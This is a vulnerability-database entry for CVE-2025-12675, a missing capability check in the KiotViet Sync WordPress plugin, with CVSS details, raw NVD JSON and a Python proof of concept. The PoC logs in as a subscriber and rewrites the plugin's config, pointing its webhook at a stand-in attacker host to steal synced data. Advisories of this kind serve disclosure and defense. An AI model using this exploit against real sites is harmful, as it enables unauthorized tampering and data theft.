Security Vulnerability Report
中文
CVE-2025-12675 CVSS 4.3 MEDIUM

CVE-2025-12675

Published: 2025-11-05 08:15:34
Last Modified: 2026-04-15 00:35:42

Description

The KiotViet Sync plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the saveConfig() function in all versions up to, and including, 1.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's config.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

KiotViet Sync plugin for WordPress <= 1.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-12675 PoC - KiotViet Sync Plugin Privilege Escalation # Target: WordPress site with KiotViet Sync plugin <= 1.8.5 # Author: Security Researcher # Note: Requires a valid Subscriber-level account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_cve_2025_12675(): """ This PoC demonstrates the privilege bypass vulnerability in KiotViet Sync plugin. The saveConfig() function lacks capability checks, allowing any authenticated user to modify plugin configuration. """ session = requests.Session() # Step 1: Authenticate with WordPress (Subscriber-level account) login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful (Subscriber account)") # Step 2: Exploit the vulnerability by modifying plugin config # The saveConfig() function is accessible without proper capability checks exploit_url = f"{TARGET_URL}/wp-admin/admin-post.php" exploit_data = { 'action': 'kiotviet_save_config', 'kiotviet_api_key': 'attacker_modified_key', 'kiotviet_retailer_id': 'malicious_retailer', 'kiotviet_webhook_url': 'https://attacker-controlled-site.com/steal-data', '_wpnonce': 'bypass_nonce_if_available' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Config modification request sent successfully") print("[+] Plugin configuration has been modified without proper authorization") print("[*] Attacker can now intercept sync data or modify business logic") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_12675()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12675", "sourceIdentifier": "[email protected]", "published": "2025-11-05T08:15:33.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The KiotViet Sync plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the saveConfig() function in all versions up to, and including, 1.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's config."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/kiotvietsync/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e67c6c3f-0b2a-424f-b8f2-2771449c82b4?source=cve", "source": "[email protected]"}]}}